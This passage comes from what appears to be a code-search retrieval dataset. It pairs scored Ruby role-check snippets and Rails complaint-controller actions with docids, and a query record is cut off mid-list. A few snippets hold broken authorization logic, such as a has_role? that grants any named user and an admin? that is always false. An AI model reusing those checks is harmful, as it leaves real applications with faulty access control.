"text": "def method_missing(method, *args, &block)\n if method.to_s =~ /_role\\?$/ \n role_names.include?(method.to_s[0..-7])\n else\n super\n end\n end",
"title": ""
},
{
"docid": "30e6f8e0810008e496b73374c690a599",
"score": "0.7075028",
"text": "def user?\n role?(:user)\n end",
"title": ""
},
{
"docid": "03ae0793ff49ed1a16eed31b4800192a",
"score": "0.70692843",
"text": "def admin? ; role == 0 ; end",
"title": ""
},
{
"docid": "8b8122ad2ac3d1cdbdfb77b26eab4a2f",
"score": "0.70665556",
"text": "def method_missing(method_id, *args)\n# debugger if method_id.to_s =~ /onewell/\n if match = matches_dynamic_role_check?(method_id)\n tokenize_roles(match.captures.first).each do |check|\n return true if self.roles.any? {|role| role.andand.name.andand.downcase == check }\n end\n return false\n elsif match = matches_dynamic_perm_check?(method_id)\n if self.roles.any? {|r| self.role.andand.permissions && permissions.find_by_name(match.captures.first) }\n return true\n else\n return false\n end\n else\n super\n end\n end",
"title": ""
},
{
"docid": "33a4625b2db7918a4516472229b05fa0",
"score": "0.7064245",
"text": "def has_role?(role_sym)\n roles.any? { |r| r.name.underscore.to_sym == role_sym }\nend",
"title": ""
},
{
"docid": "33a4625b2db7918a4516472229b05fa0",
"score": "0.7064245",
"text": "def has_role?(role_sym)\n roles.any? { |r| r.name.underscore.to_sym == role_sym }\nend",
"title": ""
},
{
"docid": "e4350baea62089102fd52c83de20aae0",
"score": "0.7049471",
"text": "def method_missing_with_aegis_permissions(symb, *args)\n method_name = symb.to_s\n if method_name =~ /^may_(.+?)[\\!\\?]$/\n role.send(symb, self, *args)\n elsif method_name =~ /^(.*?)\\?$/ && queried_role = ::Permissions.find_role_by_name($1)\n role == queried_role\n else\n method_missing_without_aegis_permissions(symb, *args)\n end\n end",
"title": ""
},
{
"docid": "12667949b5e40cab1ee0c71e3bd90aa3",
"score": "0.7040344",
"text": "def student?\n has_role? :student\n end",
"title": ""
},
{
"docid": "3d479c528d95896780d8e7a40e09334f",
"score": "0.7030679",
"text": "def role?(r)\n self.send(r) if Account.roles.include?(r.to_sym)\n end",
"title": ""
},
{
"docid": "58408612919217819227e733fe6f6a3c",
"score": "0.7025563",
"text": "def method_missing_with_aegis_permissions(symb, *args)\r\n method_name = symb.to_s\r\n if method_name =~ /^may_(.+?)[\\!\\?]$/\r\n role.send(symb, self, *args)\r\n elsif method_name =~ /^(.*?)\\?$/ && queried_role = ::Permissions.find_role_by_name($1)\r\n role == queried_role\r\n else\r\n method_missing_without_aegis_permissions(symb, *args)\r\n end\r\n end",
"title": ""
},
{
"docid": "920869c06af643018effcbe61becddb3",
"score": "0.70100224",
"text": "def is?( requested_role )\n self.role == requested_role.to_s\n end",
"title": ""
},
{
"docid": "920869c06af643018effcbe61becddb3",
"score": "0.70100224",
"text": "def is?( requested_role )\n self.role == requested_role.to_s\n end",
"title": ""
},
{
"docid": "85e7be4fefe05563a961d50ed6290398",
"score": "0.70086396",
"text": "def has_role?(role)\n self.role && self.role.name == role.to_s\n end",
"title": ""
},
{
"docid": "6d0be42db149a848ded440e5f7118e5d",
"score": "0.7006772",
"text": "def role? _role \n if self.role\n self.role.to_sym == _role\n else\n false\n end\n end",
"title": ""
},
{
"docid": "580fdb1c8451e4117d94ed0b440e4864",
"score": "0.6990721",
"text": "def role_is? role_name\n name == role_name\n end",
"title": ""
},
{
"docid": "f888e2e68c0df15d724cb00a036996d4",
"score": "0.6984006",
"text": "def admin?\n role == 'admin'\nend",
"title": ""
},
{
"docid": "f888e2e68c0df15d724cb00a036996d4",
"score": "0.6984006",
"text": "def admin?\n role == 'admin'\nend",
"title": ""
},
{
"docid": "c36cc8dd801bcad3a7c5bd5b323447de",
"score": "0.6964097",
"text": "def has_role?(role_name, obj=nil)\n self.role == role_name.to_s\n end",
"title": ""
},
{
"docid": "cb9ad680dd0643db1f730ac101f9d9a9",
"score": "0.6955978",
"text": "def role?(role)\n return !!self.roles.find_by_name(role.to_s)\n end",
"title": ""
},
{
"docid": "23d2b93e2732a966855d042264291af3",
"score": "0.6945318",
"text": "def custom?\n role_type == 'custom'\n end",
"title": ""
},
{
"docid": "0aadc6a0ec85622d18816b4e35eeb889",
"score": "0.69438297",
"text": "def has_role? role\n [:user, :active].include? role\n end",
"title": ""
},
{
"docid": "0aadc6a0ec85622d18816b4e35eeb889",
"score": "0.69438297",
"text": "def has_role? role\n [:user, :active].include? role\n end",
"title": ""
},
{
"docid": "4a6d2f5548bd8a6dc7b2853362e09cd1",
"score": "0.694052",
"text": "def is?(requested_role)\n self.role == requested_role.to_s\n end",
"title": ""
},
{
"docid": "7d81641cc36a7c4df4bf6929d843e766",
"score": "0.69402856",
"text": "def is?(a_role)\n (Array(a_role).collect(&:to_sym) & [self.role.to_sym]).any?\n end",
"title": ""
},
{
"docid": "611e127df6febb5bf83087715c0d8396",
"score": "0.6931081",
"text": "def role?(role)\n role.to_s == self.username.downcase\n end",
"title": ""
},
{
"docid": "abe907461bc9f071348c676ffbe038ad",
"score": "0.6930743",
"text": "def landlord?\n has_role? :landlord\n end",
"title": ""
},
{
"docid": "4bd498358a9f415a4c869d0c0cfecb81",
"score": "0.69300693",
"text": "def role?(role)\n self.roles.include? role\n end",
"title": ""
},
{
"docid": "6001c7cd6a398ab0bc7910b1caf57c48",
"score": "0.6926567",
"text": "def is?(role)\n role = role.to_s\n current_role == role\n end",
"title": ""
},
{
"docid": "a03c8ed2647cddaa31bc5b8c2d01eb79",
"score": "0.6926199",
"text": "def user?\n role&.eql? 'user'\n end",
"title": ""
},
{
"docid": "58e08fb920a1e1a1c66e522f00025fea",
"score": "0.69198143",
"text": "def isUser\n self.has_role? Role.User\n end",
"title": ""
},
{
"docid": "93e4648975ae8a7d825cefd4959f4644",
"score": "0.690291",
"text": "def method_missing(method_id, *args)\n if match = matches_dynamic_role_check?(method_id)\n tokenize_roles(match.captures.first).each do |check|\n return true if role.name.downcase == check\n end\n return false\n # adding a case to check if the user has a for_own or for_any permission\n elsif match = matches_dynamic_perm_for_own_check?(method_id)\n return permission_for_own?( match[1], match[2], args[0] ) \n\n elsif match = matches_dynamic_perm_check?(method_id)\n if permissions.find_by_name(match.captures.first)\n return true\n else\n return false\n end\n else\n super\n end\n end",
"title": ""
},
{
"docid": "93519aa81bdb14a21cd56d6dcaaa70ff",
"score": "0.68900394",
"text": "def role?(role)\n self.roles.exists?(:name => role.to_s)\n\tend",
"title": ""
},
{
"docid": "abe7743b348e6690417c50a3bd6e4393",
"score": "0.68766785",
"text": "def is_role? role\n role_list.first == role.to_sym && role_list.size == 1\n end",
"title": ""
},
{
"docid": "b11ce215a1d6cf88c5e89e202ae1729f",
"score": "0.68733853",
"text": "def administrative_role?\n has_any_role? :admin, :landlord\n end",
"title": ""
},
{
"docid": "2f4e09ed6a9d626583f1e986c2392274",
"score": "0.6872104",
"text": "def method_missing_with_aegis_permissions(symb, *args)\r\n method_name = symb.to_s\r\n if method_name =~ /^#{Aegis::Constants::PERMISSION_PREFIX}_(.+?)[\\!\\?]$/\r\n role.send(symb, self, *args)\r\n elsif method_name =~ /^(.*?)\\?$/ && queried_role = ::Permissions.find_role_by_name($1)\r\n role == queried_role\r\n else\r\n method_missing_without_aegis_permissions(symb, *args)\r\n end\r\n end",
"title": ""
},
{
"docid": "893fb2d082156dcd677e9bcf5f157424",
"score": "0.68696004",
"text": "def has_role?\n !self.roles.empty?\n end",
"title": ""
},
{
"docid": "1081bf71caadc293efa8ffdd56bf4d76",
"score": "0.6866029",
"text": "def role?(name)\n case name\n when :guest\n guest?\n when :member\n member?\n else\n role.try(:name) == name.to_s\n end\n end",
"title": ""
},
{
"docid": "ad504b584c340f94b19c6ee699687b1d",
"score": "0.68539387",
"text": "def has_role?(role)\n self.roles.include? role\n end",
"title": ""
},
{
"docid": "6a057316b6d5b6f895c8aadce2cb4547",
"score": "0.6848286",
"text": "def role?(role)\n \troles.any? { |r| r.name.underscore.to_sym == role } \n end",
"title": ""
},
{
"docid": "54ff0e69173f0901783ce341edbe0adf",
"score": "0.6837363",
"text": "def has_role?(name)\n role.name.downcase == name.to_s\n end",
"title": ""
},
{
"docid": "07fe663bf04dda95bcd5dbbf3cbc7030",
"score": "0.6832558",
"text": "def admin?\n #has_role?(\"admin\")\n :role == \"admin\"\n end",
"title": ""
},
{
"docid": "3fc4b8c22a6a4f99714e5066ae4beb15",
"score": "0.6799955",
"text": "def acts_as_authorization_role?\n acts_as_authorization_model? :role\n end",
"title": ""
},
{
"docid": "ca140b9b964a0a2c36072fa7139b8d0c",
"score": "0.67759836",
"text": "def standard?\n role == 'standard'\n end",
"title": ""
},
{
"docid": "189ef17152e8be299505dfbc84c88e0d",
"score": "0.6773661",
"text": "def has_role?(role_name, obj=nil)\n self.allowed?(role_name, obj)\n end",
"title": ""
},
{
"docid": "189ef17152e8be299505dfbc84c88e0d",
"score": "0.6773661",
"text": "def has_role?(role_name, obj=nil)\n self.allowed?(role_name, obj)\n end",
"title": ""
},
{
"docid": "4179dbabe845d9f8419415c491d8b711",
"score": "0.6767623",
"text": "def role?(role)\n if self.role.nil?\n return false\n else\n return self.role.downcase == role.downcase\n end\n end",
"title": ""
},
{
"docid": "2fb1d7c8ba6f63c555491980c6a9b729",
"score": "0.676636",
"text": "def role?(authorized_role)\n return false if role.nil?\n role.downcase.to_sym == authorized_role\n end",
"title": ""
},
{
"docid": "2fb1d7c8ba6f63c555491980c6a9b729",
"score": "0.676636",
"text": "def role?(authorized_role)\n return false if role.nil?\n role.downcase.to_sym == authorized_role\n end",
"title": ""
},
{
"docid": "ffeb405ad5ccb6debd814f7d2f272af0",
"score": "0.6760934",
"text": "def role?(role)\n roles.include? role.to_s\n end",
"title": ""
},
{
"docid": "8672c16eb89fa8161dfdbde5fbd4261b",
"score": "0.6756396",
"text": "def role? authorized_role\n self.update_roles\n \n if authorized_role.is_a? Symbol\n role_name = ROLES[authorized_role]\n else\n role_name = authorized_role\n end\n \n self.roles.include?(role_name)\n end",
"title": ""
},
{
"docid": "0b0a5203da591a1b8d1d1168d4ef5172",
"score": "0.6752204",
"text": "def define_is_role_methods\n constant_role_names.each do |constant_name|\n method_name = generate_is_method_name(constant_name)\n next if instance_method_defined?(method_name)\n define_method(method_name) do\n has_role( constantized(constant_name) )\n end\n end\n end",
"title": ""
},
{
"docid": "bb94008efe4be5e59c93aef927360afc",
"score": "0.67454606",
"text": "def is_role?(role)\n return self.user_role == role rescue nil\n end",
"title": ""
},
{
"docid": "152517191d53fdf69731d24d333620bb",
"score": "0.6738185",
"text": "def authorized_user?(user)\n user.role == 5 || user.role == 2\n end",
"title": ""
},
{
"docid": "234a29e4db4b93f5d814ccc624d5544e",
"score": "0.6720788",
"text": "def has_proper_role_for?(thing)\n self.roles.each do |role|\n if thing.roles.include?(role)\n return true\n end\n end\n return false\n end",
"title": ""
},
{
"docid": "48b316b31aa7687d93f56d2341775df4",
"score": "0.67202145",
"text": "def is_coach?\n self.role? :coach\n end",
"title": ""
},
{
"docid": "7c67d47f5e6fb4c2917c25353845bacf",
"score": "0.67183495",
"text": "def has_role?(role)\n role = role.to_s\n roles.include? role\n end",
"title": ""
},
{
"docid": "145b0c1b114c77862660c5bce46c66bc",
"score": "0.67142016",
"text": "def has_role?(role)\n role_names.include? role.to_s\n end",
"title": ""
},
{
"docid": "965387ee1343066aed669fd851a29488",
"score": "0.6712135",
"text": "def super?\n self.role_id >= 1\n end",
"title": ""
},
{
"docid": "70890eec71bed760e12f3f2107c93056",
"score": "0.67100626",
"text": "def role?(role)\n self.roles_mask >= ROLES.index(role.to_sym)\n end",
"title": ""
},
{
"docid": "70890eec71bed760e12f3f2107c93056",
"score": "0.67100626",
"text": "def role?(role)\n self.roles_mask >= ROLES.index(role.to_sym)\n end",
"title": ""
},
{
"docid": "70890eec71bed760e12f3f2107c93056",
"score": "0.67100626",
"text": "def role?(role)\n self.roles_mask >= ROLES.index(role.to_sym)\n end",
"title": ""
},
{
"docid": "6b70e212c33b7fea2b0cdb9efb8e748b",
"score": "0.6689504",
"text": "def werewolf?\n role == 'werewolf'\n end",
"title": ""
},
{
"docid": "5da7169f3088de976866e7ab46595a67",
"score": "0.6678016",
"text": "def is? (string)\n string == (self.role)\n end",
"title": ""
},
{
"docid": "b637a90b5312568b2b4e442a51ab7e45",
"score": "0.6669425",
"text": "def has_role? role\n role_list.include? role.to_sym\n end",
"title": ""
},
{
"docid": "efe02f60fb90c83895e9cac47c844185",
"score": "0.6665811",
"text": "def check(user)\n user.roles.map{|role| role.title.downcase}.include? @role\n end",
"title": ""
},
{
"docid": "9c82c3c53338c67d3325e4f05f72a3e2",
"score": "0.66626894",
"text": "def has_role?(role) \n case role.to_s\n when 'guest'\n true # Every user is at least a guest\n when 'user'\n user? || gm? || admin?\n when 'gm'\n gm? || admin?\n when 'admin'\n admin?\n end\n end",
"title": ""
},
{
"docid": "22eb9669deaf7a120a205d36de2be1b5",
"score": "0.6662355",
"text": "def admin? \ncurrent_user.role_id == 1\nend",
"title": ""
},
{
"docid": "a36cfbb07688677c41d20d057eb46f87",
"score": "0.6646135",
"text": "def role?(role)\n self.roles.each do |r|\n return true if r.name == role.to_s\n end\n false\n end",
"title": ""
},
{
"docid": "f05e03b415b46e3e02da80148353257d",
"score": "0.6642416",
"text": "def is_super?\n return has_role?('super')\n end",
"title": ""
},
{
"docid": "032239591db298f5c46aac7eebe52a93",
"score": "0.66413003",
"text": "def method_missing(method_id, *args)\n if match = matches_dynamic_role_check?(method_id)\n if logged_in?\n tokenize_roles(match.captures.first).each do |check|\n if current_user.role.name.downcase == check\n return true\n else\n flash[:error] = \"You do not have access to this section of the site.\"\n redirect_to root_path\n end\n end\n else\n session[:return_to] = request.fullpath\n redirect_to login_path\n end\n else\n super\n end\n end",
"title": ""
},
{
"docid": "744fbc2e0c991e7ae685ff8d0602ae07",
"score": "0.6640704",
"text": "def role?(role)\n return !!self.roles.find_by_name(role)\n end",
"title": ""
},
{
"docid": "9a42d5094d98809f3b46871d16f1231b",
"score": "0.6627517",
"text": "def role?(role)\n role_registry.has?(role)\n end",
"title": ""
},
{
"docid": "e0cc160df90992d9e4827798a757e723",
"score": "0.6627172",
"text": "def role?(role)\n self.roles.any? { |r| r.name.underscore.to_sym == role }\n end",
"title": ""
},
{
"docid": "7369965f3f6a410f53aad263681ced90",
"score": "0.6619877",
"text": "def has_role?(current_user,role)\r\n \treturn !!current_user.name\r\n end",
"title": ""
},
{
"docid": "fa10198a8fcd6f7f970ada9ddd515660",
"score": "0.6615381",
"text": "def robot?\n has_role? 'bot'\n end",
"title": ""
},
{
"docid": "380c7ee41f7b2cd97226fc1a8e20c20e",
"score": "0.6610919",
"text": "def role?(role)\n !!self.roles.select('name').find_by_name(role.to_s.camelize)\n end",
"title": ""
},
{
"docid": "c89ef1ab7d382f161d341d22ce86962c",
"score": "0.6609473",
"text": "def is?( requested_role )\n self.role == requested_role.to_s\n end",
"title": ""
},
{
"docid": "73fd446ab7fab36bc9bf06e970352969",
"score": "0.66094613",
"text": "def is?(role)\n roles.include?(role.to_s)\n end",
"title": ""
},
{
"docid": "349f6ef9a64255336f56561dcae36a2a",
"score": "0.6606042",
"text": "def has_role?(role_name, object = nil)\n method = \"is_#{role_name.to_s}?\".to_sym\n\n !! if object.nil? and ( self.roles.find_by_name(role_name.to_s) || self.roles.member?(get_role(role_name, nil)) )\n true\n elsif method == :is_admin?\n self.is_admin?\n elsif object.respond_to?(method)\n \t object.send(method, self)\n else\n role = get_role(role_name, object)\n role && self.roles.exists?(role.id)\n end\n end",
"title": ""
},
{
"docid": "23ee9c89567447401192aa7932873309",
"score": "0.660536",
"text": "def can? do_what\n case do_what\n when :add\n employee_roles.pluck(:role).include?('ROLE_ADD_EMP')\n when :delete\n employee_roles.pluck(:role).include?('ROLE_DELETE_EMP')\n when :update\n employee_roles.pluck(:role).include?('ROLE_UPDATE_EMP')\n when :set_password\n employee_roles.pluck(:role).include?('ROLE_SET_PASSWORD')\n else\n false\n end\n end",
"title": ""
},
{
"docid": "438579d3a74edc740912669b975b4735",
"score": "0.6604874",
"text": "def common?\n self.role == \"common\"\n end",
"title": ""
}
] |
8e7b13129d57ae01323a796ac76f9e37 | GET /complaints/1 GET /complaints/1.json | [
{
"docid": "a81945373733e4951b987de6ea99f9a1",
"score": "0.0",
"text": "def show\n end",
"title": ""
}
] | [
{
"docid": "362dad29e24fddde02abc845e1f86569",
"score": "0.7005425",
"text": "def show\n @breadcrumb = 'read'\n @complaint_status = ComplaintStatus.find(params[:id])\n @complaints = @complaint_status.complaints.by_no\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @complaint_status }\n end\n end",
"title": ""
},
{
"docid": "928aa397a5451d4b062fbd1002494380",
"score": "0.7000969",
"text": "def index\n @complaints = @ward.complaints.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @complaints }\n end\n end",
"title": ""
},
{
"docid": "54f4d60a8591b960e369704132d17f4c",
"score": "0.69378626",
"text": "def show\n @complaint = Complaint.find(params[:id])\n \n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @complaint }\n end\n end",
"title": ""
},
{
"docid": "ae04bfa9783ce33f8dc6415c224af19c",
"score": "0.68691903",
"text": "def show\n @complaint = @ward.complaints.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @complaint }\n end\n end",
"title": ""
},
{
"docid": "7cc455842b8bdcd8635cd5b4de50b479",
"score": "0.67928284",
"text": "def show\n @breadcrumb = 'read'\n @complaint_class = ComplaintClass.find(params[:id])\n @complaints = @complaint_class.complaints.by_no\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @complaint_class }\n end\n end",
"title": ""
},
{
"docid": "37922b2e171eba4979191d6e7080fb5d",
"score": "0.6767759",
"text": "def show\n @complaint = Complaint.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @complaint }\n end\n end",
"title": ""
},
{
"docid": "88eda887b02271ea1b4c03911fe0e527",
"score": "0.6733911",
"text": "def index\n @complaints = Complaint.all\n end",
"title": ""
},
{
"docid": "88eda887b02271ea1b4c03911fe0e527",
"score": "0.6733911",
"text": "def index\n @complaints = Complaint.all\n end",
"title": ""
},
{
"docid": "88eda887b02271ea1b4c03911fe0e527",
"score": "0.6733911",
"text": "def index\n @complaints = Complaint.all\n end",
"title": ""
},
{
"docid": "88eda887b02271ea1b4c03911fe0e527",
"score": "0.6733911",
"text": "def index\n @complaints = Complaint.all\n end",
"title": ""
},
{
"docid": "88eda887b02271ea1b4c03911fe0e527",
"score": "0.6733911",
"text": "def index\n @complaints = Complaint.all\n end",
"title": ""
},
{
"docid": "88eda887b02271ea1b4c03911fe0e527",
"score": "0.6733911",
"text": "def index\n @complaints = Complaint.all\n end",
"title": ""
},
{
"docid": "88eda887b02271ea1b4c03911fe0e527",
"score": "0.6733911",
"text": "def index\n @complaints = Complaint.all\n end",
"title": ""
},
{
"docid": "5ab0ff56ee80a4f4667c4381256de15d",
"score": "0.6656468",
"text": "def get_complaints(opts = {})\n data, _status_code, _headers = get_complaints_with_http_info(opts)\n data\n end",
"title": ""
},
{
"docid": "14a7890aaf0710b8350620a75757636c",
"score": "0.66418165",
"text": "def index\r\n @complaints = Complaint.all\r\n end",
"title": ""
},
{
"docid": "d88509de0eb0f1af955c0a72a046757c",
"score": "0.6628911",
"text": "def index\n authorize! :index, Complaint, :message => 'Acceso denegado.'\n @complaints = @campus.complaints.ordered\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @complaints }\n end\n end",
"title": ""
},
{
"docid": "46c92d77b18bcd538b08732c15cbdd69",
"score": "0.65963316",
"text": "def index\n @complaints = current_user.complaints.all\n end",
"title": ""
},
{
"docid": "9cbe8009a4edddbb820a7c284cb44258",
"score": "0.6548398",
"text": "def index\n\t\t\t@complaints = @company.complaints\n\tend",
"title": ""
},
{
"docid": "4ce2a51611339aa807b3019c8f6455f3",
"score": "0.64855176",
"text": "def find_complaint\n\t\t@complaint = @company.complaints.find(params[:id])\n\tend",
"title": ""
},
{
"docid": "43586b8782545f87b29e1e1984ba3163",
"score": "0.64078987",
"text": "def index\n @complaints = Complaint.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @complaints }\n end\n end",
"title": ""
},
{
"docid": "93d8ba493450febc349b8c507c35f11b",
"score": "0.63499427",
"text": "def new\n @complaint = @ward.complaints.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @complaint }\n end\n end",
"title": ""
},
{
"docid": "0513ac96d3ad9b070cae32c5ee4a631a",
"score": "0.6308645",
"text": "def new\n @complaint = Complaint.new\n \n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @complaint }\n end\n end",
"title": ""
},
{
"docid": "ea2fd3e1a971a989870c043755382702",
"score": "0.6262899",
"text": "def new\n @complaint = Complaint.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @complaint }\n end\n end",
"title": ""
},
{
"docid": "ea2fd3e1a971a989870c043755382702",
"score": "0.6262899",
"text": "def new\n @complaint = Complaint.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @complaint }\n end\n end",
"title": ""
},
{
"docid": "b03cabbf5e717a69b3088bb357bc7cc6",
"score": "0.6157322",
"text": "def show\n @dec_complaint = DecComplaint.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @dec_complaint }\n end\n end",
"title": ""
},
{
"docid": "7b3ebdc75fa7e10ae9b0a3ce5f352ec8",
"score": "0.6139083",
"text": "def user_complaints\n object.complaints.collect do |complaint|\n {\n id: complaint.id,\n title: complaint.title,\n description: complaint.description\n }\n end\n end",
"title": ""
},
{
"docid": "dde40c011ea0b8956471e20cd0bef7f7",
"score": "0.6136856",
"text": "def new\n @complaint = @campus.complaints.build\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @complaint }\n end\n end",
"title": ""
},
{
"docid": "0d0c74b5afd5f07f81c74a71b9b64a9a",
"score": "0.61265177",
"text": "def get_complaints_with_http_info(opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: BounceControllerApi.get_complaints ...'\n end\n if @api_client.config.client_side_validation && !opts[:'size'].nil? && opts[:'size'] > 100\n fail ArgumentError, 'invalid value for \"opts[:\"size\"]\" when calling BounceControllerApi.get_complaints, must be smaller than or equal to 100.'\n end\n\n allowable_values = [\"ASC\", \"DESC\"]\n if @api_client.config.client_side_validation && opts[:'sort'] && !allowable_values.include?(opts[:'sort'])\n fail ArgumentError, \"invalid value for \\\"sort\\\", must be one of #{allowable_values}\"\n end\n # resource path\n local_var_path = '/bounce/complaints'\n\n # query parameters\n query_params = opts[:query_params] || {}\n query_params[:'page'] = opts[:'page'] if !opts[:'page'].nil?\n query_params[:'size'] = opts[:'size'] if !opts[:'size'].nil?\n query_params[:'sort'] = opts[:'sort'] if !opts[:'sort'].nil?\n query_params[:'since'] = opts[:'since'] if !opts[:'since'].nil?\n query_params[:'before'] = opts[:'before'] if !opts[:'before'].nil?\n\n # header parameters\n header_params = opts[:header_params] || {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['*/*'])\n\n # form parameters\n form_params = opts[:form_params] || {}\n\n # http body (model)\n post_body = opts[:body] \n\n # return_type\n return_type = opts[:return_type] || 'PageComplaint' \n\n # auth_names\n auth_names = opts[:auth_names] || ['API_KEY']\n\n new_options = opts.merge(\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => return_type\n )\n\n data, status_code, headers = @api_client.call_api(:GET, local_var_path, new_options)\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: BounceControllerApi#get_complaints\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"title": ""
},
{
"docid": "888b0c077f42394dce95608f30948321",
"score": "0.6062147",
"text": "def show_complaint_by_id\n complaint = Complaint.find(params[:id])\n if complaint\n complaint_status = ComplaintStatus.where(complaint_id: complaint.id).first\n if complaint_status\n complaint.status = complaint_status.status\n else\n complaint.status = \"New\"\n end\n render json: complaint, methods: [:status]\n else\n render json: {status: \"error\", error_message: \"complaint not found\"}\n end\n end",
"title": ""
},
{
"docid": "df5f5a93c1b6f9e55dced83012f40220",
"score": "0.6044604",
"text": "def show\n @pec_complaint = PecComplaint.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @pec_complaint }\n end\n end",
"title": ""
},
{
"docid": "83c15bd0726921cdf7a47e438fbbff2a",
"score": "0.59876883",
"text": "def show\n @complaint_type = ComplaintType.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @complaint_type }\n end\n end",
"title": ""
},
{
"docid": "84b38fe529b2bfd487f05f516b7c94ef",
"score": "0.58539945",
"text": "def set_complaint\n @complaint = current_user.complaints.find(params[:id])\n end",
"title": ""
},
{
"docid": "aec248ed36ad9ce04fe925a49388c94c",
"score": "0.58346987",
"text": "def show\n \n @complaint = Complaint.find(params[:id])\n if(current_admin != nil)\n Complaint.find(params[:id]).update_attributes(read: true)\n end\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @complaint }\n end\n end",
"title": ""
},
{
"docid": "5c20fdfe7d8d87c51225f3da410d112d",
"score": "0.58065206",
"text": "def show\n @concourse = Concourse.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @concourse }\n end\n end",
"title": ""
},
{
"docid": "a1d91caf8a308cdc4e678c6901da233b",
"score": "0.57994664",
"text": "def show\n @complaint = Complaint.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @complaint }\n end\n end",
"title": ""
},
{
"docid": "a1d91caf8a308cdc4e678c6901da233b",
"score": "0.57994664",
"text": "def show\n @complaint = Complaint.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @complaint }\n end\n end",
"title": ""
},
{
"docid": "1ab8ea91ea66d61e43f9b35772908d61",
"score": "0.5779768",
"text": "def new\n\t\tif @company.resources.any?\n\t\t\t@complaint = @company.complaints.build\n\t\tend\n\tend",
"title": ""
},
{
"docid": "f4f493180cb4281ab923ba0c88c95b1f",
"score": "0.57702667",
"text": "def show\n @completion = Completion.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @completion }\n end\n end",
"title": ""
},
{
"docid": "e45b0be609a176c6bf1d4c116fac8334",
"score": "0.5738474",
"text": "def show\n begin\n @complaint = Complaint.find(params[:id])\n if(current_admin != nil)\n Complaint.find(params[:id]).update_attributes(read: true)\n end\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @complaint }\n end\n rescue\n redirect_to :root, notice: \"Nice try, but next time you have to be smarter!\"\n end \n end",
"title": ""
},
{
"docid": "eac305b7aa7f5c9b317a4a81e9fbccbe",
"score": "0.5736053",
"text": "def index\n @national_complaints = NationalComplaint.all\n end",
"title": ""
},
{
"docid": "39c7df8e4d85a20d151b75a11a635825",
"score": "0.57016563",
"text": "def show\n @complaint = @campus.complaints.find(params[:id])\n @complaints = @campus.complaints.ordered\n @comments = @complaint.comments.ordered\n authorize! :show, @complaint, :message => 'Acceso denegado.'\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @complaint }\n format.js\n end\n end",
"title": ""
},
{
"docid": "a1675ea453112a61c668d7687b0bab47",
"score": "0.56961554",
"text": "def create\n @complaint = current_user.complaints.build(complaint_params)\n\n respond_to do |format|\n if @complaint.save\n format.html { redirect_to @complaint, notice: \"Complaint was successfully created.\" }\n format.json { render :show, status: :created, location: @complaint }\n else\n format.html { render :new, status: :unprocessable_entity }\n format.json { render json: @complaint.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "a1675ea453112a61c668d7687b0bab47",
"score": "0.56961554",
"text": "def create\n @complaint = current_user.complaints.build(complaint_params)\n\n respond_to do |format|\n if @complaint.save\n format.html { redirect_to @complaint, notice: \"Complaint was successfully created.\" }\n format.json { render :show, status: :created, location: @complaint }\n else\n format.html { render :new, status: :unprocessable_entity }\n format.json { render json: @complaint.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "2dd1dc658fbd0c2615065738868fe6eb",
"score": "0.5686655",
"text": "def show\n @requests_complaints_request = RequestsComplaints::Request.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @requests_complaints_request }\n end\n end",
"title": ""
},
{
"docid": "f0922d4435a000507930b63c8b78eabf",
"score": "0.5672792",
"text": "def index\n @complaints = Complaint.paginate :page => params[:page], :order => 'created_at DESC'\n @page_title = 'Complaint Processing Center'\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @complaints }\n end\n end",
"title": ""
},
{
"docid": "589e536b1fc4865e4c38a0422ee540b6",
"score": "0.565402",
"text": "def create\n @complaint = Complaint.new(complaint_params)\n\n respond_to do |format|\n if @complaint.save\n format.html { redirect_to current_issues_path, notice: 'Complaint was successfully created.' }\n format.json { render :show, status: :created, location: @complaint }\n else\n format.html { render :new }\n format.json { render json: @complaint.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "2988a938068b403c89b7eaeaeebbe7af",
"score": "0.564826",
"text": "def show\n @concert = Concert.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @concert }\n end\n end",
"title": ""
},
{
"docid": "2988a938068b403c89b7eaeaeebbe7af",
"score": "0.564826",
"text": "def show\n @concert = Concert.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @concert }\n end\n end",
"title": ""
},
{
